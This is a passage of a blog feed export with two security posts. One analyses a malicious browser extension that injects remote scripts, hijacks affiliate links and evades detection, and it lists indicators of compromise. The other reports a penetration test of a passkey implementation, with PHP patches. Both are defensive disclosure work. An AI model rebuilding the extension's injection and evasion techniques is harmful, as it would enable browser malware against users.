id=\"browser-extensions\">Browser Extensions</h3><p>The <em>only</em> browser extension that I run is the 1Password extension to integrate with my password manager, that's it. I do not run, and will not run, any other browser extension simply because they terrify me. I don't feel like many people fully understand the access to your data that a browser extension has. The ability to see what's on the page, see what you're typing, change what you see, interact with the DOM, and so much more. Browser extensions are effectively all-powerful and can do almost whatever they want. That's awesome when they provide legitimate, useful functionality, but you have a really big problem when the extension wants to do something less noble.</p><p></p><figure class=\"kg-card kg-image-card\"><img src=\"https://storage.ghost.io/c/ee/88/ee889f88-37ef-43e5-9180-f9b88ee6261d/content/images/2026/04/image-4.png\" class=\"kg-image\" alt=\"Amazing Refresh — A Malicious Chrome Extension Running Malware in the Browser\" loading=\"lazy\" width=\"537\" height=\"170\"></figure><p></p><h3 id=\"amazing-refresh\">Amazing Refresh</h3><p>Amazing Refresh presents itself as a simple tab auto-refresher, allowing users to set pages to automatically reload at a defined interval. While this functionality is real and works as advertised, it serves primarily as cover for a sophisticated malware operation running silently in the background.</p><p>Every time a user navigates to any page in any tab, the extension fires a POST request to <code>api.amazingrefresh.com/v1/reload</code>, exfiltrating:</p><ul><li>The current page URL</li><li>The previous page URL (tracking navigation paths across sites)</li><li>Window dimensions and user agent</li><li>Every element ID present on the page</li><li>A unique client identifier tied to the user's Google Analytics profile</li></ul><p></p><p>Here's a screenshot of the behaviour firing the request in my local Sandbox.</p><p></p><figure class=\"kg-card kg-image-card\"><img src=\"https://storage.ghost.io/c/ee/88/ee889f88-37ef-43e5-9180-f9b88ee6261d/content/images/2026/04/Screenshot-2026-04-06-120803.png\" class=\"kg-image\" alt=\"Amazing Refresh — A Malicious Chrome Extension Running Malware in the Browser\" loading=\"lazy\" width=\"1609\" height=\"993\" srcset=\"https://storage.ghost.io/c/ee/88/ee889f88-37ef-43e5-9180-f9b88ee6261d/content/images/size/w600/2026/04/Screenshot-2026-04-06-120803.png 600w, https://storage.ghost.io/c/ee/88/ee889f88-37ef-43e5-9180-f9b88ee6261d/content/images/size/w1000/2026/04/Screenshot-2026-04-06-120803.png 1000w, https://storage.ghost.io/c/ee/88/ee889f88-37ef-43e5-9180-f9b88ee6261d/content/images/size/w1600/2026/04/Screenshot-2026-04-06-120803.png 1600w, https://storage.ghost.io/c/ee/88/ee889f88-37ef-43e5-9180-f9b88ee6261d/content/images/2026/04/Screenshot-2026-04-06-120803.png 1609w\" sizes=\"(min-width: 720px) 720px\"></figure><p></p><h3 id=\"script-injection\">Script injection</h3><p>The extension injects a <code><script></code> tag directly into every page the user visits, running in the MAIN world — the same execution context as the page itself, bypassing Chrome's content script sandbox. The script injected is whatever URL the C&C server has most recently instructed it to use, stored in <code>chrome.storage.local</code>.</p><p>The default fallback script bundled with the extension (<code>js/reload_helper.js</code>) suppresses <code>beforeunload</code> dialog prompts — the \"are you sure you want to leave?\"<br>browser warnings. This is not accidental; it exists to make redirects performed by the injected payload seamless and invisible to the user. It's these script injections and external communications to GA that we were detecting and alerting on at Report URI.</p><p></p><figure class=\"kg-card kg-image-card\"><img src=\"https://storage.ghost.io/c/ee/88/ee889f88-37ef-43e5-9180-f9b88ee6261d/content/images/2026/04/image-2.png\" class=\"kg-image\" alt=\"Amazing Refresh — A Malicious Chrome Extension Running Malware in the Browser\" loading=\"lazy\" width=\"1355\" height=\"547\" srcset=\"https://storage.ghost.io/c/ee/88/ee889f88-37ef-43e5-9180-f9b88ee6261d/content/images/size/w600/2026/04/image-2.png 600w, https://storage.ghost.io/c/ee/88/ee889f88-37ef-43e5-9180-f9b88ee6261d/content/images/size/w1000/2026/04/image-2.png 1000w, https://storage.ghost.io/c/ee/88/ee889f88-37ef-43e5-9180-f9b88ee6261d/content/images/2026/04/image-2.png 1355w\" sizes=\"(min-width: 720px) 720px\"></figure><p></p><h3 id=\"the-malicious-payload\">The malicious payload</h3><p>The remotely-delivered script that we observed being served from <code>amazingrefresh.com/js/reload_helper.js</code> is a sophisticated affiliate hijacker that steps through the following process at the time of inspection:</p><p></p><ol><li>Geolocates the user via <code>meetlookup.com</code></li><li>Fetches a list of affiliate domains from a CDN (<code>1752680588.rsc.cdn77.org</code>)</li><li>Intercepts all link clicks on the page</li><li>When a clicked link matches a known affiliate domain, redirects it through <code>advertisingshubb.com/pg/</code> — an affiliate tracking gateway — monetising the click<br>without the knowledge of the user or website owner</li><li>Uses cookies to track which offers have been shown and clicked, with deduplication logic to avoid repeat redirects to the same offer</li><li>Selects and prioritises offers based on the user's country, custom rates, PPS and PPL values</li></ol><p></p><h3 id=\"evasion-techniques\">Evasion techniques</h3><p>The browser extension and its behaviour are deliberately designed to avoid detection, which makes sense, and is likely how it has managed to get to almost 100,000 active installs. The extension package itself contains only innocuous looking code, so after unpacking and analysing the included code, there are no immediate alarm bells. The malicious JS payload lives on <code>amazingrefresh.com</code> and is served to the client dynamically only when certain conditions are met, further limiting the ability to detect the malicious behaviour. The malicious code:</p><p></p><ul><li>Uses session storage to ensure it only runs once per page load </li><li>Suppresses page-leave prompts to hide redirects from the user</li><li>The payload removes itself from the DOM</li><li>Fingerprints the depth of iframes, possibly to avoid analysis</li><li>Suppresses click events so other analytics don't see them</li><li>Hides the entire page during a redirect</li></ul><p></p><p>On top of all of that, and I think quite interesting, they're using Google Analytics to monitor their infected user base, firing an event every 60 minutes to keep track of how many infected devices there are!</p><p></p><h3 id=\"impact-on-website-owners\">Impact on website owners</h3><p>We detected this attack because we're closely monitoring the JavaScript running on our customers' websites, and as I said at the start, we're typically looking out for traditional XSS attacks or supply chain compromise. The injection of this malicious JavaScript is happening entirely client-side, in the browser of the visitor, but we still have visibility of what's happening because of how our product works. For many products out there, this would be impossible to detect or monitor.</p><p>From our customers' perspective, outbound links on their site are being silently hijacked and monetised by a third-party, without their knowledge or consent. Visitors are being redirected through affiliate networks, potentially to different destinations than intended. The C&C architecture also means that the payload can be changed at any time to deliver anything from more aggressive adware, credential harvesting, a Magecart credit card skimmer, or just about anything that you could imagine. Whilst this doesn't represent a compromise of our customers' website, or their supply chain, this still raises genuine concerns that need to be addressed.</p><p></p><h3 id=\"reporting-the-malicious-extensions\">Reporting the malicious extensions</h3><p>This extension is available for both Chrome and Edge, and we have reported it to both browser vendors including evidence of the malicious behaviour. Given that it appears to have almost 100,000 users across both browsers, I hope they can move quickly to remove the extension from the stores and affected devices. This will benefit not only those visitors to our customers' websites, but the wider ecosystem as a whole as we work to remove this malicious behaviour and protect all involved. </p><p>This capability aligns well with our goal of making the web safer for everyone, not just our customers, and is something that we have been working on for over a decade. My first blog post on detecting and blocking client-side compromise like this was in 2015(!), <a href=\"https://scotthelme.co.uk/combat-ad-injectors-with-csp/?ref=scotthelme.ghost.io\" rel=\"noreferrer\">Combat ad-injectors with CSP</a>, and in 2017 I followed that up with <a href=\"https://scotthelme.co.uk/combat-ad-injectors-with-csp/?ref=scotthelme.ghost.io\" rel=\"noreferrer\">Malware hunting with CSP</a>. Along the way, we have also detected and reported many browser extensions that introduced malicious behaviour, just as we have done here. When we come across more interesting cases like this one, I plan to start writing about them and sharing the details, primarily because I think these cases are genuinely interesting, but also because they help demonstrate some of our lesser-known capabilities at Report URI. </p><p></p><h3 id=\"indicators-of-compromise\">Indicators of Compromise</h3><p>The key indicators are:</p><p>Chrome extension: <a href=\"https://chromewebstore.google.com/detail/amazing-auto-refresh/lgjmjfjpldlhbaeinfjbgokoakpjglbn?ref=scotthelme.ghost.io\" rel=\"noreferrer\">link</a><br>Edge extension: <a href=\"https://microsoftedge.microsoft.com/addons/detail/auto-refresh/kjkdocnbigcddlnghfiphgfflkooidhc?ref=scotthelme.ghost.io\" rel=\"noreferrer\">link</a><br>Extension name: <strong>Amazing Refresh</strong><br>Injected script host: <code>amazingrefresh.com</code> (domain registered 19th Feb 2026)<br>C&C server: <code>api.amazingrefresh.com</code><br>Affiliate gateway: <code>advertisingshubb.com</code> (domain registered 3rd Oct 2025)<br>CDN: <code>1752680588.rsc.cdn77.org</code><br>Geo lookup: <code>meetlookup.com</code><br>Injected script element ID: <code>aar_main_script</code> <br>Google Ads Measurement ID: <code>G-11RPB8CJ47</code></p><p></p><p>If you want advanced threat detection and monitoring capabilities like this on your own site, you can head over to <a href=\"https://report-uri.com/?utm_source=scotthelme.co.uk\">https://report-uri.com</a> and start a 30-day free trial. Our <a href=\"https://report-uri.com/solutions/javascript_integrity_monitoring?utm_source=scotthelme.co.uk\">JavaScript Integrity Monitoring</a> solution shouldn't take more than 60 seconds to deploy and you can start gathering your first data.</p><p></p>",
          "image": {
            "url": "https://storage.ghost.io/c/ee/88/ee889f88-37ef-43e5-9180-f9b88ee6261d/content/images/2026/04/amazing-refresh-extension-analysis.png",
            "title": null
          },
          "media": [
            {
              "url": "https://storage.ghost.io/c/ee/88/ee889f88-37ef-43e5-9180-f9b88ee6261d/content/images/2026/04/amazing-refresh-extension-analysis.png",
              "image": "https://storage.ghost.io/c/ee/88/ee889f88-37ef-43e5-9180-f9b88ee6261d/content/images/2026/04/amazing-refresh-extension-analysis.png",
              "title": null,
              "length": null,
              "type": "image",
              "mimeType": null
            }
          ],
          "authors": [
            {
              "name": "Scott Helme",
              "email": null,
              "url": null
            }
          ],
          "categories": [
            {
              "label": "Report URI",
              "term": "Report URI",
              "url": null
            },
            {
              "label": "javascript",
              "term": "javascript",
              "url": null
            },
            {
              "label": "malware",
              "term": "malware",
              "url": null
            }
          ]
        },
        {
          "id": "69c7c509d57e1400017a6513",
          "title": "Bringing in the experts; Having our Passkeys implementation Security Tested",
          "description": "<p>We recently announced support for Passkeys on your Report URI account, and everyone should go and enable Passkeys for the amazing security benefits they offer. As a new implementation of an authentication technology, we wanted to be sure that everything was as secure as it should be for our customer&</p>",
          "url": "https://scotthelme.ghost.io/bringing-in-the-experts-having-our-passkeys-implementation-security-tested/",
          "published": "2026-04-02T13:06:02.000Z",
          "updated": "2026-04-02T13:06:02.000Z",
          "content": "<img src=\"https://storage.ghost.io/c/ee/88/ee889f88-37ef-43e5-9180-f9b88ee6261d/content/images/2026/03/passkeys-test-header.png\" alt=\"Bringing in the experts; Having our Passkeys implementation Security Tested\"><p>We recently announced support for Passkeys on your Report URI account, and everyone should go and enable Passkeys for the amazing security benefits they offer. As a new implementation of an authentication technology, we wanted to be sure that everything was as secure as it should be for our customer's accounts, so we brought in an external party to test our implementation.</p><p></p><figure class=\"kg-card kg-image-card\"><a href=\"https://report-uri.com/?ref=scotthelme.ghost.io\"><img src=\"https://storage.ghost.io/c/ee/88/ee889f88-37ef-43e5-9180-f9b88ee6261d/content/images/2026/03/report-uri---wide-4.png\" class=\"kg-image\" alt=\"Bringing in the experts; Having our Passkeys implementation Security Tested\" loading=\"lazy\" width=\"974\" height=\"141\" srcset=\"https://storage.ghost.io/c/ee/88/ee889f88-37ef-43e5-9180-f9b88ee6261d/content/images/size/w600/2026/03/report-uri---wide-4.png 600w, https://storage.ghost.io/c/ee/88/ee889f88-37ef-43e5-9180-f9b88ee6261d/content/images/2026/03/report-uri---wide-4.png 974w\" sizes=\"(min-width: 720px) 720px\"></a></figure><p></p><h3 id=\"our-annual-penetration-tests\">Our annual penetration tests</h3><p>Regular readers will know that Report URI already has an annual penetration test and we now have <a href=\"https://scotthelme.co.uk/tag/penetration-test/?ref=scotthelme.ghost.io\" rel=\"noreferrer\">6 years worth of reports</a> publicly available for anyone to review and see what issues were found, and how we handled them. That annual review is there to make sure that our internal processes designed to keep our product secure are working and that nothing has slipped through. Our next penetration test is due in Nov/Dec 2026 to stick with our annual schedule, and whilst our application is constantly changing and evolving, Passkeys felt like a big enough change that it was worth getting it tested immediately as it touched our critical authentication flow. If you'd like a brief introduction to Passkeys and how they work, you can refer to our launch blog post which has some high level details and diagrams.</p><p></p><figure class=\"kg-card kg-image-card\"><a href=\"https://pentest.co.uk/?ref=scotthelme.ghost.io\"><img src=\"https://storage.ghost.io/c/ee/88/ee889f88-37ef-43e5-9180-f9b88ee6261d/content/images/2026/03/pentest-limited-logo.png\" class=\"kg-image\" alt=\"Bringing in the experts; Having our Passkeys implementation Security Tested\" loading=\"lazy\" width=\"300\" height=\"101\"></a></figure><p></p><h3 id=\"engaging-with-pentest\">Engaging with Pentest</h3><p>Normally, when we engage with our penetration testing company, <a href=\"https://pentest.co.uk/?ref=scotthelme.ghost.io\" rel=\"noreferrer\">Pentest Ltd.</a>, we have effectively no limitations on the scope of the test. This time it was a little different as we only wanted one specific part of our application testing and after discussions, we came up with the following scope:</p><p></p><pre><code>Perform a targeted external security assessment of the Report URI Passkey (WebAuthnbased 2FA) implementation.\nWith the specific aim of assessing:\n• Security of passkey enrolment and authentication flows\n• Interaction between passkeys and existing authentication factors (password and\nTOTP)\n• Potential authentication bypass and downgrade scenarios\n• Protection of credential management functions (add/remove passkey)\n• Security of recovery mechanisms (recovery codes and support-led reset process)\n• Session handling and authentication state transitions\n• Validation of WebAuthn integration controls (challenge handling, RP/origin\nenforcement, replay protections)\n</code></pre><p></p><p>We wanted to be really sure that our implementation was solid, and having someone external come in to test that felt like a worthwhile approach.</p><p></p><h3 id=\"the-findings\">The findings</h3><p>For those who'd like the TLDR; Pentest found a few problems with our implementation, but nothing that could result in unauthorised access. The worst case scenario in any of the findings was that you could add a Passkey to your account that you then couldn't remove. That's a pretty awesome result if you ask me 😎</p><p>Alongside the findings from Pentest, we also did our own security testing and found a couple of minor bugs that we addressed too, but nothing that you'd ever see on the outside. We'll start off by going through the Pentest findings and looking at the solutions that we've implemented for them.</p><p></p><h4 id=\"empty-credential-id\">Empty Credential ID</h4><p>Each Passkey generated by an Authenticator is given an ID that the Authenticator and the website can use to identify it. The specification says that this Credential ID, as it is known, should be \"A probabilistically-unique byte sequence identifying a public key credential source and its authentication assertions\". Being able to set an empty ID value definitely doesn't meet that requirement, and adding a Passkey with no ID also made it impossible to then delete or rename that Passkey in your account because the ID is what we use to interact with it. </p><p>The W3C WebAuthn Level 3 spec <a href=\"https://www.w3.org/TR/webauthn-3/?ref=scotthelme.ghost.io#credential-id\" rel=\"noreferrer\">defines</a> credential ID length constraints, and whilst the spec is not final yet, we decided to target the new version rather than Level 2. </p><p></p><pre><code class=\"language-php\">$credentialIdLen = strlen($data->credentialId);\nif ($credentialIdLen < 16 || $credentialIdLen > 1023) {\n    $this->session->unset_userdata(SessionKeys::WEBAUTHN_REGISTRATION_CHALLENGE);\n    $this->session->unset_userdata(SessionKeys::WEBAUTHN_REGISTRATION_CHALLENGE_TIME);\n    return '{\"ok\": false, \"error\": \"Invalid credential ID length.\"}';\n}</code></pre><p></p><p>With the length checks in place and further testing completed, this issue is now fully resolved and I'm glad to say it didn't post any security risk.</p><p></p><h4 id=\"overlong-credential-id\">Overlong Credential ID</h4><p>Whilst this issue is resolved by the fix above, there was one additional thing worth clarifying here that was specific to this finding. Without the upper bound on the Credential ID, you could register a Passkey with a huge ID value. The tester noted that if you were to do this, depending on the size of the ID value, you could get to a point where you couldn't register any more Passkeys, despite not having registered the maximum allowed amount of Passkeys. This behaviour was caused by our size limit on the amount of data allowed to be stored in a Property on a Table Storage Entity (we use Microsoft Azure Storage). Adding a new Passkey would have taken the Property over the allowed limit so our handling code did the right thing and rejected the change, failing the Passkey registration. The worst case scenario here is that if you registered a Passkey with a huge Credential ID, you may only be able to register a single Passkey on your account. This issue is resolved by the fix detailed above which also introduced an upper size limit and posed no security risk.</p><p></p><h4 id=\"duplicate-credential-id\">Duplicate Credential ID</h4><p>Going back to the first issue, the spec states that a Credential ID should be \"A probabilistically-unique byte sequence\", so allowing registration of duplicate IDs would not meet that requirement. There are also two separate concerns here, so we'll break them apart. </p><p>The first is that the user could register a Passkey on their account with the same Credential ID as another Passkey already registered on their account. The tester noted that this did not result in overwriting Passkeys (as we index on another value) but it did then leave them with two Passkeys registered with the same Credential ID. We already make use of the <code>excludeCredentials</code> feature, where our service provides back the IDs of the user's existing Credential IDs and the Authenticator can then avoid using duplicates. Of course, the authenticator may not do that, so an additional check is required on the way back in.</p><p></p><pre><code class=\"language-php\">foreach ($passkeys as $passkey) {\n    if ($passkey['id'] === $credentialIdB64) {\n\t    $this->session->unset_userdata(SessionKeys::WEBAUTHN_REGISTRATION_CHALLENGE);\n        $this->session->unset_userdata(SessionKeys::WEBAUTHN_REGISTRATION_CHALLENGE_TIME);\n        return '{\"ok\": false, \"error\": \"This passkey is already registered.\"}';\n    }\n}</code></pre><p></p><p>The second issue is that a user could register a Passkey with the same Credential ID as a Passkey that another user has registered. Because we're only using Passkeys as a form of 2FA, by the time we get to looking up a Credential ID, we're only looking at those bound to the correct user. The Credential IDs should also be \"probabilistically-unique\" so this is unlikely to ever happen by accident. The spec says that we SHOULD prevent this, not that we MUST, but querying over our entire user table and extracting Credential IDs adds a lot of overhead we'd like to avoid. Reading the spec, I also feel that the concerns raised are more defensive techniques for if your application does things a bit wonky rather than being an actual problem, but drop your comments below if I'm missing something. </p><p>As it stands, we haven't required that a Credential ID be globally unique across the service, but I'm open to input, and happy to say that this issue also posed no security risk.</p><p></p><h4 id=\"origin-mismatch\">Origin Mismatch</h4><p>This one is another bug that doesn't have an impact, but it still shouldn't be able to happen. The bug itself resides in the library we're using for Passkeys and we have up-streamed a fix which is the same as the patch that we're applying locally. </p><p></p><pre><code class=\"language-php\">--- a/src/WebAuthn.php\n+++ b/src/WebAuthn.php\n@@ -636,9 +636,12 @@\n         $host = \\parse_url($origin, PHP_URL_HOST);\n         $host = \\trim($host, '.');\n\n-        // The RP ID must be equal to the origin's effective domain, or a registrable\n-        // domain suffix of the origin's effective domain.\n-        return \\preg_match('/' . \\preg_quote($this->_rpId) . '$/i', $host) === 1;\n+        // The RP ID must be equal to the origin's effective domain, or the\n+        // origin's host must be a subdomain of the RP ID (i.e. preceded by a dot).\n+        if (\\strcasecmp($host, $this->_rpId) === 0) {\n+            return true;\n+        }\n+        return \\str_ends_with(\\strtolower($host), '.' . \\strtolower($this->_rpId));\n     }\n\n     /**</code></pre><p></p><p>The bug is that we're setting our <code>rpId</code> as <code>report-uri.com</code> and the library is checking that the host <em>ends with</em> <code>report-uri.com</code>, which is not a strict enough check. The issue with that is <code>not-report-uri.com</code> and <code>evil-report-uri.com</code> both <em>end with</em> <code>report-uri.com</code>. The check has been made more strict so that we're now looking first for an exact match to <code>report-uri.com</code>, or, we're checking that the host ends with <code>.report-uri.com</code>, having introduced the domain boundary <code>.</code> to make the check appropriate.</p><p>I've done some pretty lengthy mental gymnastics to try and come up with a scenario where this might be exploitable, but I'm struggling! Maybe if someone registered <code>not-report-uri.com</code> and lured a Report URI user there, managed to get the user to initiate a Passkey registration, and we had no CSRF protection on our registration endpoint, and we had no CORS protection on our registration endpoint, then maybe I can see a way for this to be used in an attack... In reality, I'm happy to say that this has no security risk and it has been fixed as a matter of correctness rather than security.</p><p></p><h4 id=\"cross-origin-validation-failure\">Cross-Origin Validation Failure</h4><p>Given the existing controls we have in place, this is a non-issue, but even without those existing controls, this is more of a spec compliance question than a risk. Imagine <code>evil-cyber-hacker.com</code> embeds <code>report-uri.com</code> in an iframe, the user could interact with that iframe and even register a Passkey on their account. In this scenario, the browser will pass <code>crossOrigin: true</code> in the <code>ClientDataJSON</code> to indicate that the registration was initiated inside a cross-origin iframe. Whilst this might sound like something really bad could happen, the Same-Origin Policy is going to give us all of the protection we need here. The attacker page can't read in to the iframe, it can't access any of the Passkey data and it can't conduct any actions on behalf of the user. It is true that if <code>crossOrigin: true</code> is set and you weren't expecting that, you should reject the process, so we've patched to do just that and also up-streamed the change to the library to see if they'd consider a patch there.</p><p></p><pre><code class=\"language-php\">--- a/src/WebAuthn.php\n+++ b/src/WebAuthn.php\n@@ -358,6 +358,11 @@\n             throw new WebAuthnException('invalid origin', WebAuthnException::INVALID_ORIGIN);\n         }\n\n+        // Reject cross-origin requests (proposed Level 3 spec §7.1 Step 10).\n+        if (\\property_exists($clientData, 'crossOrigin') && $clientData->crossOrigin === true) {\n+            throw new WebAuthnException('cross-origin request not allowed', WebAuthnException::INVALID_ORIGIN);\n+        }\n+\n         // Attestation\n         $attestationObject = new Attestation\\AttestationObject($attestationObject, $this->_formats);\n\n@@ -476,6 +481,11 @@\n             throw new WebAuthnException('invalid origin', WebAuthnException::INVALID_ORIGIN);\n         }\n\n+        // Reject cross-origin requests (proposed Level 3 spec §7.2 Step 13).\n+        if (\\property_exists($clientData, 'crossOrigin') && $clientData->crossOrigin === true) {\n+            throw new WebAuthnException('cross-origin request not allowed', WebAuthnException::INVALID_ORIGIN);\n+        }\n+\n         // 11. Verify that the rpIdHash in authData is the SHA-256 hash of the RP ID expected by the Relying Party.\n         if ($authenticatorObj->getRpIdHash() !== $this->_rpIdHash) {\n             throw new WebAuthnException('invalid rpId hash', WebAuthnException::INVALID_RELYING_PARTY);</code></pre><p></p><h4 id=\"user-handle-not-validated\">User Handle Not Validated</h4><p>The <code>userHandle</code> in Passkeys is the internal user ID that the application can use to uniquely identify the user. This can be used when the user is trying to login without having provided a username or email first, so the application can find the user using this ID. We do have a unique <code>userId</code> value that we use to identify all users on the Report URI platform, and we were setting it in the Passkeys flow, but we didn't need to rely on it for anything. As our users will complete the email/password authentication step first, any Credential ID we were provided with could already be directly looked up on the correct <code>userId</code>. That said, the spec requires that if the authenticator provides a <code>userHandle</code> then the application must verify it, and we weren't verifying it because we didn't use it all. </p><p></p><pre><code class=\"language-php\">$userHandleRaw = $postJson['userHandle'] ?? '';\nif ($userHandleRaw !== '') {\n    $userHandle = base64_decode($userHandleRaw, true);\n    if ($userHandle === false || $userHandle === '') {\n        $this->session->unset_userdata(SessionKeys::WEBAUTHN_LOGIN_CHALLENGE);\n        $this->session->unset_userdata(SessionKeys::WEBAUTHN_LOGIN_CHALLENGE_TIME);\n        return '{\"ok\": false, \"error\": \"User handle mismatch\"}';\n    }\n    $expectedUserHandle = hash('sha256', $this->userEntity->getUserId($userEntity), true);\n    if (!hash_equals($expectedUserHandle, $userHandle)) {\n        $this->session->unset_userdata(SessionKeys::WEBAUTHN_LOGIN_CHALLENGE);\n        $this->session->unset_userdata(SessionKeys::WEBAUTHN_LOGIN_CHALLENGE_TIME);\n        return '{\"ok\": false, \"error\": \"User handle mismatch\"}';\n    }\n}</code></pre><p></p><p>Now, if the <code>userHandle</code> value is set, we will verify that it is the correct one, and it's another issue chalked up with no security risk.</p><p></p><h4 id=\"invalid-attestation-statement\">Invalid Attestation Statement</h4><p>In Passkeys, the phrase Attestation is referring to some kind of proof about what Authenticator device is being used. A company might use Attestation to limit staff to only be able to use a certain type or brand of Authenticator, like a YubiKey, for example. We have no such restrictions on what type of Authenticator can be used and permit the use of any Authenticator, including password managers. This means that we use <code>none</code> as our Attestation format and don't expect the client to send us any Attestation statements. What the spec strictly requires though is that we check that nothing was sent, and reject the process if something was sent. This required another patch to our library which just disregarded the Attestation Statement <code>attStmt</code> altogether, even if it had a value, because we do not use it for anything.</p><p></p><pre><code class=\"language-php\">--- a/src/Attestation/Format/None.php\n+++ b/src/Attestation/Format/None.php\n@@ -24,7 +24,14 @@\n     /**\n      * @param string $clientDataHash\n      */\n     public function validateAttestation($clientDataHash) {\n+        // §8.7 None Attestation Statement Format:\n+        // \"If attStmt is a properly formed attestation statement,\n+        //  verify that attStmt is an empty CBOR map.\"\n+        if (\\count($this->_attestationObject['attStmt']) > 0) {\n+            throw new WebAuthnException('invalid none attestation: attStmt must be empty', WebAuthnException::INVALID_DATA);\n+        }\n+\n         return true;\n     }\n</code></pre><p></p><p>With this patch, the library will now check that the <code>attStmt</code> is empty when the Attestation Format is <code>none</code>, which brings us in to alignment with the spec with no security risk.</p><p></p><h4 id=\"invalid-backup-flags\">Invalid Backup Flags</h4><p>When a user is registering or using a Passkey, the Authenticator can tell us two things about how it handles backups of the Passkey. It can tell us:</p><p></p><ol><li>Backup Eligibility -  set if the credential is a multi-device credential, meaning it's designed to be synced across devices (e.g. an iCloud Keychain, Google Password Manager, 1Password, etc...)</li><li>Backup State - set if the credential is currently backed up, i.e. it has actually been synced to the cloud at the time of the ceremony.</li></ol><p></p><p>Looking at those two potential flags that can be set, you can then derive a set of valid states based on the relationship between them.</p><p></p><table>\n<thead>\n<tr>\n<th>BE</th>\n<th>BS</th>\n<th>Meaning</th>\n</tr>\n</thead>\n<tbody>\n<tr>\n<td>0</td>\n<td>0</td>\n<td>Not backup eligible, not backed up</td>\n</tr>\n<tr>\n<td>1</td>\n<td>0</td>\n<td>Backup eligible, not yet backed up</td>\n</tr>\n<tr>\n<td>1</td>\n<td>1</td>\n<td>Backup eligible, currently backed up</td>\n</tr>\n<tr>\n<td>0</td>\n<td>1</td>\n<td><strong>Invalid</strong> — cannot be backed up without being eligible</td>\n</tr>\n</tbody>\n</table>\n<p></p><p>The final row in that table indicates an invalid state because a Passkey can't have been backed up if the Passkey is not eligible to be backed up. The current specification does not require that we reject this, but the future version of the spec does. We will now check for this invalid state and have up-streamed a patch to the library.</p><p></p><pre><code class=\"language-php\">diff --git a/src/Attestation/AuthenticatorData.php b/src/Attestation/AuthenticatorData.php\nindex 83462b1..a73d195 100644\n--- a/src/Attestation/AuthenticatorData.php\n+++ b/src/Attestation/AuthenticatorData.php\n@@ -281,6 +281,12 @@ class AuthenticatorData {\n         $flags->isBackup = $flags->bit_4;\n         $flags->attestedDataIncluded = $flags->bit_6;\n         $flags->extensionDataIncluded = $flags->bit_7;\n+\n+        // Backup State (BS) requires Backup Eligible (BE) per spec.\n+        if ($flags->isBackup && !$flags->isBackupEligible) {\n+            throw new WebAuthnException('invalid backup flags: BS without BE', WebAuthnException::INVALID_DATA);\n+        }\n+\n         return $flags;\n     }\n </code></pre><p></p><p>This issue also present no security risk and is now resolved.</p><p></p><h4 id=\"token-binding-accepted\">Token Binding Accepted</h4><p><a href=\"https://en.wikipedia.org/wiki/Token_Binding?ref=scotthelme.ghost.io\" rel=\"noreferrer\">Token Binding</a> is a fairly old technology that is now deprecated, Chrome <a href=\"https://issues.chromium.org/issues/40589745?ref=scotthelme.ghost.io\" rel=\"noreferrer\">removed their code</a> for it in 2018. A client can indicate it was using Token Binding in a Passkey ceremony by setting the <code>tokenBinding.status</code> value to <code>present</code>. Given that our application does not support Token Binding, and most other applications probably don't either, along with clients having deprecated it, this shouldn't really be possible. Our application would allow a client to indicate it was using Token Binding, even though it can't, and we would ignore these values as we don't use it. The spec does not allow you to ignore these values, so we had to handle them. We're now correctly validating these fields if they are present and we have up-streamed a patch.</p><p></p><pre><code class=\"language-php\">diff --git a/src/WebAuthn.php b/src/WebAuthn.php\nindex d6b78e7..f81882f 100644\n--- a/src/WebAuthn.php\n+++ b/src/WebAuthn.php\n@@ -362,6 +362,12 @@ class WebAuthn {\n             throw new WebAuthnException('cross-origin request not allowed', WebAuthnException::INVALID_ORIGIN);\n         }\n \n+        // 6. Verify tokenBinding status matches the TLS connection. We do not\n+        //    support Token Binding, so reject status \"present\" (Level 2 §7.1 Step 6).\n+        if (\\property_exists($clientData, 'tokenBinding') && \\is_object($clientData->tokenBinding) && \\property_exists($clientData->tokenBinding, 'status') && $clientData->tokenBinding->status === 'present') {\n+            throw new WebAuthnException('token binding not supported', WebAuthnException::INVALID_DATA);\n+        }\n+\n         // Attestation\n         $attestationObject = new Attestation\\AttestationObject($attestationObject, $this->_formats);\n \n@@ -485,6 +491,12 @@ class WebAuthn {\n             throw new WebAuthnException('cross-origin request not allowed', WebAuthnException::INVALID_ORIGIN);\n         }\n \n+        // 10. Verify tokenBinding status matches the TLS connection. We do not\n+        //     support Token Binding, so reject status \"present\" (Level 2 §7.2 Step 10).\n+        if (\\property_exists($clientData, 'tokenBinding') && \\is_object($clientData->tokenBinding) && \\property_exists($clientData->tokenBinding, 'status') && $clientData->tokenBinding->status === 'present') {\n+            throw new WebAuthnException('token binding not supported', WebAuthnException::INVALID_DATA);\n+        }\n+\n         // 11. Verify that the rpIdHash in authData is the SHA-256 hash of the RP ID expected by the Relying Party.\n         if ($authenticatorObj->getRpIdHash() !== $this->_rpIdHash) {\n             throw new WebAuthnException('invalid rpId hash', WebAuthnException::INVALID_RELYING_PARTY);</code></pre><p></p><p>This was the last of the issues found in the penetration test and I'm happy to say that this one also presented no security risk and is resolved.</p><p></p><h4 id=\"were-good-to-go\">We're good to go! </h4><p>When making such a big change to how users log in to our service, it makes me feel a lot more comfortable that we've had it thoroughly reviewed by an external party. Whilst there were some issues found here, I'm happy that none of them presented any real risk to our customers, and they've all been fixed anyway. As always, we've published the full report for our penetration test below so you can take a look at the unredacted findings!</p><p><a href=\"https://cdn.report-uri.com/pdf/Report%20URI%20-%202026%20Passkeys%20Penetration%20Test%20Report.pdf?ref=scotthelme.ghost.io\" rel=\"noreferrer\">Download Full Report</a></p><p></p><p></p>\n<!--kg-card-begin: html-->\n<link rel=\"stylesheet\" href=\"https://cdnjs.cloudflare.com/ajax/libs/prism/1.30.0/themes/prism-okaidia.min.css\" integrity=\"sha512-mIs9kKbaw6JZFfSuo+MovjU+Ntggfoj8RwAmJbVXQ5mkAX5LlgETQEweFPI18humSPHymTb5iikEOKWF7I8ncQ==\" crossorigin=\"anonymous\" referrerpolicy=\"no-referrer\">\n<script src=\"https://cdnjs.cloudflare.com/ajax/libs/prism/1.30.0/prism.min.js\" integrity=\"sha512-HiD3V4nv8fcjtouznjT9TqDNDm1EXngV331YGbfVGeKUoH+OLkRTCMzA34ecjlgSQZpdHZupdSrqHY+Hz3l6uQ==\" crossorigin=\"anonymous\" referrerpolicy=\"no-referrer\"></script>\n<script src=\"https://cdnjs.cloudflare.com/ajax/libs/prism/1.30.0/components/prism-markup.min.js\" integrity=\"sha512-Ei5Vokmnc/f7vIt31aodVMuavT/xp2Lt5vGDYLgCzgBX/z5ghbZQfxt/9FkNs+RyG8IfBKAkdRsQQk4PZyHq5g==\" 